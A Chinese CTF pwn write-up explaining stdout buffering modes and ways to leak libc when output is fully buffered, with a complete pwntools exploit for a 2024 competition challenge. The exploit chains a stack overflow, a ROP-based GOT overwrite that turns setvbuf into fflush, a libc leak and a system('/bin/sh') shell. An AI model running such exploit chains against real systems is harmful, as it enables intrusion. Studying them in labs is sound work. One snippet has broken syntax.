stdout

stdin、stdout、stderr对应程序的输入流文件、输出流文件和错误流文件，默认情况下文件标识符为0、1、2。

很多pwn题在init中都有如下代码，这是初始化程序的io结构体，只有初始化之后，io函数才能在程序过程中打印数据，如果不初始化，就只能在exit结束的时候，才能一起把数据打印出来。。

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setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

函数原型如下：

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int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream – 这是指向 FILE 对象的指针，该 FILE 对象标识了一个打开的流。
  • buffer – 这是分配给用户的缓冲。如果设置为 NULL，该函数会自动分配一个指定大小的缓冲。
  • mode – 这指定了文件缓冲的模式。

而其中mode参数决定了文件缓存的模式：

对于stdout而言，mode为0时表示全缓冲，即程序在exit结束时或缓冲区填满时才打印内容。

mode为1时表示行缓冲，即程序在遇到换行符或者在缓冲区填满时才打印内容。

mode为2时表示无缓冲，即程序立刻打印当前内容。

很多pwn题中需要泄露libc，但题目中没有给出puts相关的函数或者将stdout的mode设为0(即开启全缓冲)，使得没有办法泄露libc。

这里总结几种思路：

1、对于堆题，若程序中没有puts相关函数但能任意地址写，可利用_IO_2_1_stdout泄露libc，具体实现方法为修改该结构体的flag字段，使得程序误认为缓冲区有内容，即可调用io_puts函数输出stdout_addr进而泄露libc。_

参考： 好好说话之IO_FILE利用（1）：利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

2、对于栈题，若设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出，可：

  • 若能控制rdx寄存器，则可通过调用setvbuf(stdout, 0LL, 2, 0LL) 将输出缓冲区开启，之后泄露libc。

  • 若不能控制rdx，可尝试填满缓冲区将内容输出。

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    for i range(150):
    	payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    	io.sendlineafter(payload)

  • 有时候填满缓冲区对于本地可以，对于远程却不行(可能是远程对缓冲区有一些设置)，此时可以通过fllush(stdout)刷新缓冲区，即可输入内容。

    具体方法：若got表可写，由于fllush和setvbuf的libc地址相近，仅相差2字节，且低12位固定，因此可以考虑爆破4位，即1/16概率修改setvbuf为fllush，然后跳转回main(因为不知道stdout的地址)，再次执行setvbuf(stdin, 0LL, 0, 0LL) 时会执行fllush(stdout)刷新缓冲区进而泄露出libc。

例题：2024春秋杯网络安全联赛夏季赛 stdout

程序开始设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出。

exp：

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from pwn import *

elf = ELF("./pwn3")
libc = ELF("./libc-2.31.so")


from pwn import *

elf = ELF("./pwn3")
libc = ELF("./libc-2.31.so")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

while True:
    #p = remote("8.147.132.12",14353)
    p = process("./pwn3")
    try:
        # ret2vuln
        vuln = 0x40125D
        payload = b'a' * 0x50 + b'deadbeef' + p64(vuln)
        p.send(payload)

        # ret2fflush
        pop_rdi = 0x00000000004013d3
        pop_rsi_r15 = 0x00000000004013d1
        ret = 0x000000000040101a
        main = elf.sym['main']
        read_plt = elf.plt['read']
        puts_plt = elf.plt['puts']
        puts_got = elf.got['puts']
        setvbuf_got = elf.got['setvbuf']

        # read(0, setvbuf_got, 0x200) -> puts(setvbuf_got) -> fflush(1)
        payload = b'a' * 0x20 + b'deadbeef'
        payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt)
        payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
        payload += p64(main)
        p.send(payload)
        
        sleep(1)

        p.send(p16(0x4340))
        puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        libc_base = puts_addr - libc.sym['puts']
        success("libc_base = " + hex(libc_base))
        
        system = libc_base + libc.sym["system"]
        binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
        
        payload = b'a' * 0x50 + b'deadbeef' + p64(vuln)
        p.send(payload)
        
        payload =  b'a' * 0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
        p.send(payload)

        p.interactive()
    except:
        p.close()

参考大佬：2024全国大学生信息安全竞赛（ciscn）半决赛（华东北赛区）Pwn题解 - 知乎 (zhihu.com)